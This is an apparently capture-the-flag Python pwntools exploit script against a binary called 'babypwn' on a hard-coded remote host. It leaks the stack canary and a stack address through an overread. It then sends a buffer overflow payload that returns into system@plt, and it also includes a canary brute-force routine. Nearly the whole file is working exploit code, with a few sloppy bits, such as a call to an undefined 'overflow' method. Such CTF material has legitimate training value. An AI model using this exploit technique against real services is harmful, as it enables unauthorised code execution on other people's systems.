from pwn import *
from termcolor import colored
"""===============    Configuration    ================"""

class Exploit():
    recvMsgAdr = "0x080488b1"
    sendMsgAdr = "0x08048907"
    exitCmp    = "0x08048b57"
    bytesToCanary = 40

    def __init__(self):
        self.pwnName = "babypwn"
        self.local = True
        self.host, self.port = '110.10.212.130', 8888
        context.endian = 'little'
        context.arch = 'i386'
        context.os = "linux"
        context.log_level = "DEBUG"
        context.terminal = ['tmux', 'splitw', '-h']
        self.binary = ELF(self.pwnName)
        self.connect()
        ################################################

    def connect(self):
        if self.local:
            #self.vp = process(["./" + self.pwnName, " %s"%self.port])
            self.host = "localhost"
            self.r = remote(self.host, self.port)

        else:
            self.r = remote(self.host, self.port)

    def menu(self, choice):
        if self.r.can_recv():
           self.r.recvuntil('> ')
        self.r.sendline( str(choice))
        time.sleep(0.1)
        if choice == 3:
            self.r.close()
            self.r = remote(self.host,self.port)
            #print colored(self.vp.recv(), "red")


    def getCanary(self):
        #First leak to get the canary
        self.menu(1)
        self.r.recv()
        data = "A"*self.bytesToCanary
        self.r.sendline(data)
        time.sleep(0.1)
        leak = self.r.recv()
        #The +1 and +3 is because u32 can take 4 arguyments
        self.canary = u32("\x00" + leak[
            self.bytesToCanary + 1: self.bytesToCanary + 4
        ])
        log.info("canary {}".format(colored(hex(self.canary), "green")))

    def getStackLeak(self):
        self.menu(1)
        self.r.recv()
        stackOff = self.bytesToCanary +8
        payload = 'A' * self.bytesToCanary
        payload += 'B' * 8
        self.r.sendline(payload)
        leak = self.r.recv()
        stackLeak = u32( leak[ stackOff+4:stackOff+8 ])
        self.buffAddr = stackLeak-0x174
        log.info("stackAddr: {}".format(colored(hex(self.buffAddr), "green")))

    def payload(self):
        gdb.attach(self.r, execute="b *{}".format("system@plt"))
        self.menu(1)
        #canary is checked at point offset 15-19
        self.r.recv()
        filler = 'A'*self.bytesToCanary
        payload = filler
        payload += p32(self.canary)
        payload += p32(self.binary.plt['system'])*5
        payload += p32(self.buffAddr)
        log.info("payload: {}".format(payload))
        self.r.sendline(payload)
        time.sleep(0.1)
        self.r.recv()
        self.menu(3)

    def bruteForceCanary(self):
        #"Input Your Message : "
        filler =fit({},filler='ABCDEFHIJKLMNOPQRSTUVWYXZabcdefghijklmnopqrstuvwyxz', length=100)
        overFlow = 'A' *500
        for x  in xrange(0xFF):
            self.menu(1)
            payload = filler + p32( self.canary + x) + filler
            self.r.sendafter(": ", payload)
            self.menu(3)

    def checkStackCanary(self):
        self.menu(1)
        self.overflow()
        self.menu(3)

if __name__ == "__main__":
    exp = Exploit()
    #exp.checkStackCanary()

    exp.getCanary()
    exp.getStackLeak()
    exp.payload()

